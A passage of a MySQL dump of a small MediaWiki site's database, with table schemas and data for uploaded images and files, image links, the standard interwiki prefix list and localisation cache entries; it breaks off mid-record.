  `fa_user` int(10) unsigned default '0',
  `fa_user_text` varchar(255) character set latin1 collate latin1_bin default NULL,
  `fa_timestamp` varbinary(14) default '',
  `fa_deleted` tinyint(3) unsigned NOT NULL default '0',
  PRIMARY KEY  (`fa_id`),
  KEY `fa_name` (`fa_name`,`fa_timestamp`),
  KEY `fa_storage_group` (`fa_storage_group`,`fa_storage_key`),
  KEY `fa_deleted_timestamp` (`fa_deleted_timestamp`),
  KEY `fa_user_timestamp` (`fa_user_text`,`fa_timestamp`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_filearchive`
--

LOCK TABLES `mw_filearchive` WRITE;
/*!40000 ALTER TABLE `mw_filearchive` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_filearchive` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_hitcounter`
--

DROP TABLE IF EXISTS `mw_hitcounter`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_hitcounter` (
  `hc_id` int(10) unsigned NOT NULL default '0'
) ENGINE=MEMORY DEFAULT CHARSET=latin1 MAX_ROWS=25000;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_hitcounter`
--

LOCK TABLES `mw_hitcounter` WRITE;
/*!40000 ALTER TABLE `mw_hitcounter` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_hitcounter` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_image`
--

DROP TABLE IF EXISTS `mw_image`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_image` (
  `img_name` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `img_size` int(10) unsigned NOT NULL default '0',
  `img_width` int(11) NOT NULL default '0',
  `img_height` int(11) NOT NULL default '0',
  `img_metadata` mediumblob NOT NULL,
  `img_bits` int(11) NOT NULL default '0',
  `img_media_type` enum('UNKNOWN','BITMAP','DRAWING','AUDIO','VIDEO','MULTIMEDIA','OFFICE','TEXT','EXECUTABLE','ARCHIVE') default NULL,
  `img_major_mime` enum('unknown','application','audio','image','text','video','message','model','multipart') NOT NULL default 'unknown',
  `img_minor_mime` varbinary(100) NOT NULL default 'unknown',
  `img_description` tinyblob NOT NULL,
  `img_user` int(10) unsigned NOT NULL default '0',
  `img_user_text` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `img_timestamp` varbinary(14) NOT NULL default '',
  `img_sha1` varbinary(32) NOT NULL default '',
  PRIMARY KEY  (`img_name`),
  KEY `img_size` (`img_size`),
  KEY `img_timestamp` (`img_timestamp`),
  KEY `img_usertext_timestamp` (`img_user_text`,`img_timestamp`),
  KEY `img_sha1` (`img_sha1`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_image`
--

LOCK TABLES `mw_image` WRITE;
/*!40000 ALTER TABLE `mw_image` DISABLE KEYS */;
INSERT INTO `mw_image` VALUES ('Backuppc.gif',2392,250,77,'0',6,'BITMAP','image','gif','',1,'WikiAdmin','20071204020905','q966fszt10lzqwvspdb7l62bqqpjed5'),('Cacti.jpg',10780,100,149,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20080208171200','3a02k1ske7pffd7ktv5al0p5qewrml1'),('Camelot.jpg',20479,200,436,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20080204173929',''),('CiscoLogo.jpeg',12732,300,163,'a:4:{s:8:\"Software\";s:19:\"Adobe Photoshop 7.0\";s:8:\"DateTime\";s:19:\"2005:03:11 08:23:58\";s:10:\"ColorSpace\";i:65535;s:22:\"MEDIAWIKI_EXIF_VERSION\";i:1;}',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20070821011201','p8ycreikrwq58kwo0f3zvxczo62pam7'),('Diggbadge.jpg',1859,63,91,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20081116201242','ayhvdsuthwn716gokc3jwmtoye9fdzj'),('Galadriel.jpg',2884,127,85,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20070821190518','8wdwiybrtjhzx7tl9urdidvzdnqjwfy'),('Geeko.jpg',10595,129,85,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20071128195248','fi4zttniv1hiddldvp3sfher9utka19'),('Hiking_tux_200.jpeg',16095,155,200,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20070825224710','9z0kmrbpqi01xd0a6qqufxsaeuqm3ps'),('Innomat_solaris_180.png',10499,180,60,'0',8,'BITMAP','image','png','',1,'WikiAdmin','20090309230216','04um407i1z331hc3ve38206atobx2v0'),('Intel-logo.png',2094,60,40,'0',8,'BITMAP','image','png','',1,'WikiAdmin','20081022151852','14641w1db4yvov1fp75gq13grlic0j1'),('JmeterRendered.png',426664,1344,840,'0',8,'BITMAP','image','png','',1,'WikiAdmin','20100723165102','l0fbiw561ybk760qomonz9jyay14d2u'),('KDE_Solaris_install.jpg',20521,418,283,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20070816234856','iobdijaqcuwbdncbe49h7mjgj2w3zn8'),('KSar.jpg',11158,300,240,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20070821190248','o1g05nyufofggf42l5c386ubyrhnem5'),('Kelby.jmx.zip',2499,0,0,'',0,'ARCHIVE','application','zip','Jmeter Config For Kelby Cluster',1,'WikiAdmin','20100723163716','0fv1cemquuyj1aaidcb8lbn8xyq7t07'),('Kloet2007thesis.pdf',634743,0,0,'',0,'OFFICE','application','pdf','',1,'WikiAdmin','20081021170336','mnc4ubo82owcceyc2k3rn24jum5rwh9'),('Kopete-otr-0.7-1.i386.rpm',179673,0,0,'',0,'MULTIMEDIA','audio','x-pn-realaudio-plugin','',2,'Wikiuser','20071121234553','tkoqvsbnstlz7l50pgo00953xsie0qm'),('Libotr-3.1.0-1.i386.rpm',302619,0,0,'',0,'MULTIMEDIA','audio','x-pn-realaudio-plugin','',2,'Wikiuser','20071121234510','3tmlzb7ifrsfxit8ztmqn2jgfxwdjca'),('Linux-logo.png',2142,50,50,'0',8,'BITMAP','image','png','',1,'WikiAdmin','20081022152107','b7jkmkn8vv9hbt9w4ucmonqxq81f91n'),('Lm_sensors.gif',8019,500,149,'0',5,'BITMAP','image','gif','',1,'WikiAdmin','20071017144500','pcv80yqrleo00y9aetxyfhz4hg1xg8a'),('MaxLinuxPenguin.jpg',36440,200,150,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20071127005558','n3gi1a7x9c9ga7ollmbdzi3qvc9p42d'),('Mini_aeryn01.jpg',9124,198,300,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20071001133612','chwu52imn8td8822dwfon9w1f9gp3fv'),('Padlock.jpg',11438,104,150,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20080204174044','fjbuz446vumili1lmbz0m7cgyp7adcb'),('R8101-1.009.00.tar.bz2',31535,0,0,'',0,'TEXT','text','plain','Linux Driver for Realtek 810x Wifi cards (e.g. 8101E) and I believe the 8169 also.',1,'WikiAdmin','20081019012916','f7torl3l2nivcip14ltjgb4lz5zycp9'),('Redmine_installHistory.tar.gz',1896,0,0,'',0,'ARCHIVE','application','x-gzip','',1,'WikiAdmin','20101007135401','lsx4japs7ujwsggff0af16a84dmm04t'),('SolarisLogo.jpg',2324,126,71,'0',8,'BITMAP','image','jpeg','',1,'WikiAdmin','20070817005347','jxu9jjuj9ac5x7bl2k3bxfj0732jugb'),('YAST-DNS-CLI-Config.png',97297,1280,903,'0',8,'BITMAP','image','png','',1,'WikiAdmin','20090111011015','nl8bpfmqhblcisiynru81jucphd2470'),('YAST-DNS-Config.png',51403,905,710,'0',8,'BITMAP','image','png','',1,'WikiAdmin','20090111011123','juxa8v8x1j2yq9fcspvqizoma1hjm15'),('Zfs_last.pdf',3197375,0,0,'',0,'OFFICE','application','pdf','ZFS The Last Word In File Systems ',1,'WikiAdmin','20081022191432','l6ybz0fmpad8au3rj95wov94psju7c0');
/*!40000 ALTER TABLE `mw_image` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_imagelinks`
--

DROP TABLE IF EXISTS `mw_imagelinks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_imagelinks` (
  `il_from` int(10) unsigned NOT NULL default '0',
  `il_to` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  UNIQUE KEY `il_from` (`il_from`,`il_to`),
  UNIQUE KEY `il_to` (`il_to`,`il_from`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_imagelinks`
--

LOCK TABLES `mw_imagelinks` WRITE;
/*!40000 ALTER TABLE `mw_imagelinks` DISABLE KEYS */;
INSERT INTO `mw_imagelinks` VALUES (3,'KDE_Solaris_install.jpg'),(3,'SolarisLogo.jpg'),(10,'CiscoLogo.jpeg'),(14,'KSar.jpg'),(16,'Galadriel.jpg'),(20,'Hiking_tux_200.jpeg'),(26,'Mini_aeryn01.jpg'),(28,'Lm_sensors.gif'),(31,'Kopete-otr-0.7-1.i386.rpm'),(31,'Libotr-3.1.0-1.i386.rpm'),(35,'MaxLinuxPenguin.jpg'),(39,'Geeko.jpg'),(44,'Backuppc.gif'),(55,'Padlock.jpg'),(59,'Cacti.jpg'),(88,'Zfs_last.pdf'),(154,'Intel-logo.png'),(154,'Linux-logo.png'),(158,'R8101-1.009.00.tar.bz2'),(161,'Kloet2007thesis.pdf'),(174,'Diggbadge.jpg'),(184,'YAST-DNS-CLI-Config.png'),(196,'Innomat_solaris_180.png'),(248,'Scroll.jpg'),(300,'JmeterRendered.png'),(300,'Kelby.jmx.zip'),(337,'Redmine_installHistory.tar.gz');
/*!40000 ALTER TABLE `mw_imagelinks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_interwiki`
--

DROP TABLE IF EXISTS `mw_interwiki`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_interwiki` (
  `iw_prefix` varchar(32) NOT NULL default '',
  `iw_url` blob NOT NULL,
  `iw_local` tinyint(1) NOT NULL default '0',
  `iw_trans` tinyint(4) NOT NULL default '0',
  UNIQUE KEY `iw_prefix` (`iw_prefix`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_interwiki`
--

LOCK TABLES `mw_interwiki` WRITE;
/*!40000 ALTER TABLE `mw_interwiki` DISABLE KEYS */;
INSERT INTO `mw_interwiki` VALUES ('abbenormal','http://www.ourpla.net/cgi-bin/pikie.cgi?$1',0,0),('acadwiki','http://xarch.tu-graz.ac.at/autocad/wiki/$1',0,0),('acronym','http://www.acronymfinder.com/af-query.asp?String=exact&Acronym=$1',0,0),('advogato','http://www.advogato.org/$1',0,0),('aiwiki','http://www.ifi.unizh.ch/ailab/aiwiki/aiw.cgi?$1',0,0),('alife','http://news.alife.org/wiki/index.php?$1',0,0),('annotation','http://bayle.stanford.edu/crit/nph-med.cgi/$1',0,0),('annotationwiki','http://www.seedwiki.com/page.cfm?wikiid=368&doc=$1',0,0),('arxiv','http://www.arxiv.org/abs/$1',0,0),('aspienetwiki','http://aspie.mela.de/Wiki/index.php?title=$1',0,0),('bemi','http://bemi.free.fr/vikio/index.php?$1',0,0),('benefitswiki','http://www.benefitslink.com/cgi-bin/wiki.cgi?$1',0,0),('brasilwiki','http://rio.ifi.unizh.ch/brasilienwiki/index.php/$1',0,0),('bridgeswiki','http://c2.com/w2/bridges/$1',0,0),('c2find','http://c2.com/cgi/wiki?FindPage&value=$1',0,0),('cache','http://www.google.com/search?q=cache:$1',0,0),('ciscavate','http://ciscavate.org/index.php/$1',0,0),('cliki','http://ww.telent.net/cliki/$1',0,0),('cmwiki','http://www.ourpla.net/cgi-bin/wiki.pl?$1',0,0),('codersbase','http://www.codersbase.com/$1',0,0),('commons','http://commons.wikimedia.org/wiki/$1',0,0),('consciousness','http://teadvus.inspiral.org/',0,0),('corpknowpedia','http://corpknowpedia.org/wiki/index.php/$1',0,0),('creationmatters','http://www.ourpla.net/cgi-bin/wiki.pl?$1',0,0),('dejanews','http://www.deja.com/=dnc/getdoc.xp?AN=$1',0,0),('demokraatia','http://wiki.demokraatia.ee/',0,0),('dictionary','http://www.dict.org/bin/Dict?Database=*&Form=Dict1&Strategy=*&Query=$1',0,0),('disinfopedia','http://www.disinfopedia.org/wiki.phtml?title=$1',0,0),('diveintoosx','http://diveintoosx.org/$1',0,0),('docbook','http://docbook.org/wiki/moin.cgi/$1',0,0),('dolphinwiki','http://www.object-arts.com/wiki/html/Dolphin/$1',0,0),('drumcorpswiki','http://www.drumcorpswiki.com/index.php/$1',0,0),('dwjwiki','http://www.suberic.net/cgi-bin/dwj/wiki.cgi?$1',0,0),('echei','http://www.ikso.net/cgi-bin/wiki.pl?$1',0,0),('ecxei','http://www.ikso.net/cgi-bin/wiki.pl?$1',0,0),('efnetceewiki','http://purl.net/wiki/c/$1',0,0),('efnetcppwiki','http://purl.net/wiki/cpp/$1',0,0),('efnetpythonwiki','http://purl.net/wiki/python/$1',0,0),('efnetxmlwiki','http://purl.net/wiki/xml/$1',0,0),('elibre','http://enciclopedia.us.es/index.php/$1',0,0),('eljwiki','http://elj.sourceforge.net/phpwiki/index.php/$1',0,0),('emacswiki','http://www.emacswiki.org/cgi-bin/wiki.pl?$1',0,0),('eokulturcentro','http://esperanto.toulouse.free.fr/wakka.php?wiki=$1',0,0),('evowiki','http://www.evowiki.org/index.php/$1',0,0),('eÄ‰ei','http://www.ikso.net/cgi-bin/wiki.pl?$1',0,0),('finalempire','http://final-empire.sourceforge.net/cgi-bin/wiki.pl?$1',0,0),('firstwiki','http://firstwiki.org/index.php/$1',0,0),('foldoc','http://www.foldoc.org/foldoc/foldoc.cgi?$1',0,0),('foxwiki','http://fox.wikis.com/wc.dll?Wiki~$1',0,0),('fr.be','http://fr.wikinations.be/$1',0,0),('fr.ca','http://fr.ca.wikinations.org/$1',0,0),('fr.fr','http://fr.fr.wikinations.org/$1',0,0),('fr.org','http://fr.wikinations.org/$1',0,0),('freebsdman','http://www.FreeBSD.org/cgi/man.cgi?apropos=1&query=$1',0,0),('gamewiki','http://gamewiki.org/wiki/index.php/$1',0,0),('gej','http://www.esperanto.de/cgi-bin/aktivikio/wiki.pl?$1',0,0),('gentoo-wiki','http://gentoo-wiki.com/$1',0,0),('globalvoices','http://cyber.law.harvard.edu/dyn/globalvoices/wiki/$1',0,0),('gmailwiki','http://www.gmailwiki.com/index.php/$1',0,0),('google','http://www.google.com/search?q=$1',0,0),('googlegroups','http://groups.google.com/groups?q=$1',0,0),('gotamac','http://www.got-a-mac.org/$1',0,0),('greencheese','http://www.greencheese.org/$1',0,0),('hammondwiki','http://www.dairiki.org/HammondWiki/index.php3?$1',0,0),('haribeau','http://wiki.haribeau.de/cgi-bin/wiki.pl?$1',0,0),('herzkinderwiki','http://www.herzkinderinfo.de/Mediawiki/index.php/$1',0,0),('hewikisource','http://he.wikisource.org/wiki/$1',1,0),('hrwiki','http://www.hrwiki.org/index.php/$1',0,0),('iawiki','http://www.IAwiki.net/$1',0,0),('imdb','http://us.imdb.com/Title?$1',0,0),('infosecpedia','http://www.infosecpedia.org/pedia/index.php/$1',0,0),('jargonfile','http://sunir.org/apps/meta.pl?wiki=JargonFile&redirect=$1',0,0),('jefo','http://www.esperanto-jeunes.org/vikio/index.php?$1',0,0),('jiniwiki','http://www.cdegroot.com/cgi-bin/jini?$1',0,0),('jspwiki','http://www.ecyrd.com/JSPWiki/Wiki.jsp?page=$1',0,0),('kerimwiki','http://wiki.oxus.net/$1',0,0),('kmwiki','http://www.voght.com/cgi-bin/pywiki?$1',0,0),('knowhow','http://www2.iro.umontreal.ca/~paquetse/cgi-bin/wiki.cgi?$1',0,0),('lanifexwiki','http://opt.lanifex.com/cgi-bin/wiki.pl?$1',0,0),('lasvegaswiki','http://wiki.gmnow.com/index.php/$1',0,0),('linuxwiki','http://www.linuxwiki.de/$1',0,0),('lojban','http://www.lojban.org/tiki/tiki-index.php?page=$1',0,0),('lqwiki','http://wiki.linuxquestions.org/wiki/$1',0,0),('lugkr','http://lug-kr.sourceforge.net/cgi-bin/lugwiki.pl?$1',0,0),('lutherwiki','http://www.lutheranarchives.com/mw/index.php/$1',0,0),('mathsongswiki','http://SeedWiki.com/page.cfm?wikiid=237&doc=$1',0,0),('mbtest','http://www.usemod.com/cgi-bin/mbtest.pl?$1',0,0),('meatball','http://www.usemod.com/cgi-bin/mb.pl?$1',0,0),('mediawikiwiki','http://www.mediawiki.org/wiki/$1',0,0),('mediazilla','http://bugzilla.wikipedia.org/$1',1,0),('memoryalpha','http://www.memory-alpha.org/en/index.php/$1',0,0),('metaweb','http://www.metaweb.com/wiki/wiki.phtml?title=$1',0,0),('metawiki','http://sunir.org/apps/meta.pl?$1',0,0),('metawikipedia','http://meta.wikimedia.org/wiki/$1',0,0),('moinmoin','http://purl.net/wiki/moin/$1',0,0),('mozillawiki','http://wiki.mozilla.org/index.php/$1',0,0),('muweb','http://www.dunstable.com/scripts/MuWebWeb?$1',0,0),('netvillage','http://www.netbros.com/?$1',0,0),('oeis','http://www.research.att.com/cgi-bin/access.cgi/as/njas/sequences/eisA.cgi?Anum=$1',0,0),('openfacts','http://openfacts.berlios.de/index.phtml?title=$1',0,0),('openwiki','http://openwiki.com/?$1',0,0),('opera7wiki','http://nontroppo.org/wiki/$1',0,0),('orgpatterns','http://www.bell-labs.com/cgi-user/OrgPatterns/OrgPatterns?$1',0,0),('osi reference model','http://wiki.tigma.ee/',0,0),('pangalacticorg','http://www.pangalactic.org/Wiki/$1',0,0),('patwiki','http://gauss.ffii.org/$1',0,0),('personaltelco','http://www.personaltelco.net/index.cgi/$1',0,0),('phpwiki','http://phpwiki.sourceforge.net/phpwiki/index.php?$1',0,0),('pikie','http://pikie.darktech.org/cgi/pikie?$1',0,0),('pmeg','http://www.bertilow.com/pmeg/$1.php',0,0),('ppr','http://c2.com/cgi/wiki?$1',0,0),('purlnet','http://purl.oclc.org/NET/$1',0,0),('pythoninfo','http://www.python.org/cgi-bin/moinmoin/$1',0,0),('pythonwiki','http://www.pythonwiki.de/$1',0,0),('pywiki','http://www.voght.com/cgi-bin/pywiki?$1',0,0),('raec','http://www.raec.clacso.edu.ar:8080/raec/Members/raecpedia/$1',0,0),('revo','http://purl.org/NET/voko/revo/art/$1.html',0,0),('rfc','http://www.rfc-editor.org/rfc/rfc$1.txt',0,0),('s23wiki','http://is-root.de/wiki/index.php/$1',0,0),('scoutpedia','http://www.scoutpedia.info/index.php/$1',0,0),('seapig','http://www.seapig.org/$1',0,0),('seattlewiki','http://seattlewiki.org/wiki/$1',0,0),('seattlewireless','http://seattlewireless.net/?$1',0,0),('seeds','http://www.IslandSeeds.org/wiki/$1',0,0),('senseislibrary','http://senseis.xmp.net/?$1',0,0),('shakti','http://cgi.algonet.se/htbin/cgiwrap/pgd/ShaktiWiki/$1',0,0),('slashdot','http://slashdot.org/article.pl?sid=$1',0,0),('smikipedia','http://www.smikipedia.org/$1',0,0),('sockwiki','http://wiki.socklabs.com/$1',0,0),('sourceforge','http://sourceforge.net/$1',0,0),('squeak','http://minnow.cc.gatech.edu/squeak/$1',0,0),('strikiwiki','http://ch.twi.tudelft.nl/~mostert/striki/teststriki.pl?$1',0,0),('susning','http://www.susning.nu/$1',0,0),('svgwiki','http://www.protocol7.com/svg-wiki/default.asp?$1',0,0),('tavi','http://tavi.sourceforge.net/$1',0,0),('tejo','http://www.tejo.org/vikio/$1',0,0),('terrorwiki','http://www.liberalsagainstterrorism.com/wiki/index.php/$1',0,0),('theopedia','http://www.theopedia.com/$1',0,0),('tmbw','http://www.tmbw.net/wiki/index.php/$1',0,0),('tmnet','http://www.technomanifestos.net/?$1',0,0),('tmwiki','http://www.EasyTopicMaps.com/?page=$1',0,0),('turismo','http://www.tejo.org/turismo/$1',0,0),('twiki','http://twiki.org/cgi-bin/view/$1',0,0),('twistedwiki','http://purl.net/wiki/twisted/$1',0,0),('uea','http://www.tejo.org/uea/$1',0,0),('unreal','http://wiki.beyondunreal.com/wiki/$1',0,0),('ursine','http://wiki.ursine.ca/$1',0,0),('usej','http://www.tejo.org/usej/$1',0,0),('usemod','http://www.usemod.com/cgi-bin/wiki.pl?$1',0,0),('visualworks','http://wiki.cs.uiuc.edu/VisualWorks/$1',0,0),('warpedview','http://www.warpedview.com/index.php/$1',0,0),('webdevwikinl','http://www.promo-it.nl/WebDevWiki/index.php?page=$1',0,0),('webisodes','http://www.webisodes.org/$1',0,0),('webseitzwiki','http://webseitz.fluxent.com/wiki/$1',0,0),('why','http://clublet.com/c/c/why?$1',0,0),('wiki','http://c2.com/cgi/wiki?$1',0,0),('wikia','http://www.wikia.com/wiki/$1',0,0),('wikibooks','http://en.wikibooks.org/wiki/$1',1,0),('wikicities','http://www.wikicities.com/index.php/$1',0,0),('wikif1','http://www.wikif1.org/$1',0,0),('wikihow','http://www.wikihow.com/$1',0,0),('wikimedia','http://wikimediafoundation.org/wiki/$1',0,0),('wikinews','http://en.wikinews.org/wiki/$1',0,0),('wikinfo','http://www.wikinfo.org/wiki.php?title=$1',0,0),('wikipedia','http://en.wikipedia.org/wiki/$1',1,0),('wikiquote','http://en.wikiquote.org/wiki/$1',1,0),('wikisource','http://sources.wikipedia.org/wiki/$1',1,0),('wikispecies','http://species.wikipedia.org/wiki/$1',1,0),('wikitravel','http://wikitravel.org/en/$1',0,0),('wikiworld','http://WikiWorld.com/wiki/index.php/$1',0,0),('wikt','http://en.wiktionary.org/wiki/$1',1,0),('wiktionary','http://en.wiktionary.org/wiki/$1',1,0),('wlug','http://www.wlug.org.nz/$1',0,0),('wlwiki','http://winslowslair.supremepixels.net/wiki/index.php/$1',0,0),('ypsieyeball','http://sknkwrks.dyndns.org:1957/writewiki/wiki.pl?$1',0,0),('zwiki','http://www.zwiki.org/$1',0,0),('zzz wiki','http://wiki.zzz.ee/',0,0);
/*!40000 ALTER TABLE `mw_interwiki` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_ipblocks`
--

DROP TABLE IF EXISTS `mw_ipblocks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_ipblocks` (
  `ipb_id` int(11) NOT NULL auto_increment,
  `ipb_address` tinyblob NOT NULL,
  `ipb_user` int(10) unsigned NOT NULL default '0',
  `ipb_by` int(10) unsigned NOT NULL default '0',
  `ipb_reason` tinyblob NOT NULL,
  `ipb_timestamp` varbinary(14) NOT NULL default '',
  `ipb_auto` tinyint(1) NOT NULL default '0',
  `ipb_anon_only` tinyint(1) NOT NULL default '0',
  `ipb_create_account` tinyint(1) NOT NULL default '1',
  `ipb_enable_autoblock` tinyint(1) NOT NULL default '1',
  `ipb_expiry` varbinary(14) NOT NULL default '',
  `ipb_range_start` tinyblob NOT NULL,
  `ipb_range_end` tinyblob NOT NULL,
  `ipb_deleted` tinyint(1) NOT NULL default '0',
  `ipb_block_email` tinyint(4) NOT NULL default '0',
  `ipb_by_text` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `ipb_allow_usertalk` tinyint(1) NOT NULL default '1',
  PRIMARY KEY  (`ipb_id`),
  UNIQUE KEY `ipb_address` (`ipb_address`(255),`ipb_user`,`ipb_auto`,`ipb_anon_only`),
  KEY `ipb_user` (`ipb_user`),
  KEY `ipb_range` (`ipb_range_start`(8),`ipb_range_end`(8)),
  KEY `ipb_timestamp` (`ipb_timestamp`),
  KEY `ipb_expiry` (`ipb_expiry`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_ipblocks`
--

LOCK TABLES `mw_ipblocks` WRITE;
/*!40000 ALTER TABLE `mw_ipblocks` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_ipblocks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_job`
--

DROP TABLE IF EXISTS `mw_job`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_job` (
  `job_id` int(10) unsigned NOT NULL auto_increment,
  `job_cmd` varbinary(60) NOT NULL default '',
  `job_namespace` int(11) NOT NULL default '0',
  `job_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `job_params` blob NOT NULL,
  PRIMARY KEY  (`job_id`),
  KEY `job_cmd` (`job_cmd`,`job_namespace`,`job_title`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_job`
--

LOCK TABLES `mw_job` WRITE;
/*!40000 ALTER TABLE `mw_job` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_job` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_l10n_cache`
--

DROP TABLE IF EXISTS `mw_l10n_cache`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_l10n_cache` (
  `lc_lang` varbinary(32) NOT NULL,
  `lc_key` varchar(255) NOT NULL,
  `lc_value` mediumblob NOT NULL,
  KEY `lc_lang_key` (`lc_lang`,`lc_key`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_l10n_cache`
--

LOCK TABLES `mw_l10n_cache` WRITE;
/*!40000 ALTER TABLE `mw_l10n_cache` DISABLE KEYS */;
INSERT INTO `mw_l10n_cache` VALUES ('en','fallback','b:0;'),('en','namespaceNames','a:17:{i:-2;s:5:\"Media\";i:-1;s:7:\"Special\";i:0;s:0:\"\";i:1;s:4:\"Talk\";i:2;s:4:\"User\";i:3;s:9:\"User_talk\";i:5;s:7:\"$1_talk\";i:6;s:4:\"File\";i:7;s:9:\"File_talk\";i:8;s:9:\"MediaWiki\";i:9;s:14:\"MediaWiki_talk\";i:10;s:8:\"Template\";i:11;s:13:\"Template_talk\";i:12;s:4:\"Help\";i:13;s:9:\"Help_talk\";i:14;s:8:\"Category\";i:15;s:13:\"Category_talk\";}'),('en','mathNames','a:6:{i:0;s:11:\"mw_math_png\";i:1;s:14:\"mw_math_simple\";i:2;s:12:\"mw_math_html\";i:3;s:14:\"mw_math_source\";i:4;s:14:\"mw_math_modern\";i:5;s:14:\"mw_math_mathml\";}'),('en','bookstoreList','a:4:{s:6:\"AddALL\";s:56:\"http://www.addall.com/New/Partner.cgi?query=$1&type=ISBN\";s:9:\"PriceSCAN\";s:53:\"http://www.pricescan.com/books/bookDetail.asp?isbn=$1\";s:14:\"Barnes & Noble\";s:67:\"http://search.barnesandnoble.com/bookSearch/isbnInquiry.asp?isbn=$1\";s:10:\"Amazon.com\";s:41:\"http://www.amazon.com/exec/obidos/ISBN=$1\";}'),('en','magicWords','a:143:{s:8:\"redirect\";a:2:{i:0;i:0;i:1;s:9:\"#REDIRECT\";}s:5:\"notoc\";a:2:{i:0;i:0;i:1;s:9:\"__NOTOC__\";}s:9:\"nogallery\";a:2:{i:0;i:0;i:1;s:13:\"__NOGALLERY__\";}s:8:\"forcetoc\";a:2:{i:0;i:0;i:1;s:12:\"__FORCETOC__\";}s:3:\"toc\";a:2:{i:0;i:0;i:1;s:7:\"__TOC__\";}s:13:\"noeditsection\";a:2:{i:0;i:0;i:1;s:17:\"__NOEDITSECTION__\";}s:8:\"noheader\";a:2:{i:0;i:0;i:1;s:12:\"__NOHEADER__\";}s:12:\"currentmonth\";a:3:{i:0;i:1;i:1;s:12:\"CURRENTMONTH\";i:2;s:13:\"CURRENTMONTH2\";}s:13:\"currentmonth1\";a:2:{i:0;i:1;i:1;s:13:\"CURRENTMONTH1\";}s:16:\"currentmonthname\";a:2:{i:0;i:1;i:1;s:16:\"CURRENTMONTHNAME\";}s:19:\"currentmonthnamegen\";a:2:{i:0;i:1;i:1;s:19:\"CURRENTMONTHNAMEGEN\";}s:18:\"currentmonthabbrev\";a:2:{i:0;i:1;i:1;s:18:\"CURRENTMONTHABBREV\";}s:10:\"currentday\";a:2:{i:0;i:1;i:1;s:10:\"CURRENTDAY\";}s:11:\"currentday2\";a:2:{i:0;i:1;i:1;s:11:\"CURRENTDAY2\";}s:14:\"currentdayname\";a:2:{i:0;i:1;i:1;s:14:\"CURRENTDAYNAME\";}s:11:\"currentyear\";a:2:{i:0;i:1;i:1;s:11:\"CURRENTYEAR\";}s:11:\"currenttime\";a:2:{i:0;i:1;i:1;s:11:\"CURRENTTIME\";}s:11:\"currenthour\";a:2:{i:0;i:1;i:1;s:11:\"CURRENTHOUR\";}s:10:\"localmonth\";a:3:{i:0;i:1;i:1;s:10:\"LOCALMONTH\";i:2;s:11:\"LOCALMONTH2\";}s:11:\"localmonth1\";a:2:{i:0;i:1;i:1;s:11:\"LOCALMONTH1\";}s:14:\"localmonthname\";a:2:{i:0;i:1;i:1;s:14:\"LOCALMONTHNAME\";}s:17:\"localmonthnamegen\";a:2:{i:0;i:1;i:1;s:17:\"LOCALMONTHNAMEGEN\";}s:16:\"localmonthabbrev\";a:2:{i:0;i:1;i:1;s:16:\"LOCALMONTHABBREV\";}s:8:\"localday\";a:2:{i:0;i:1;i:1;s:8:\"LOCALDAY\";}s:9:\"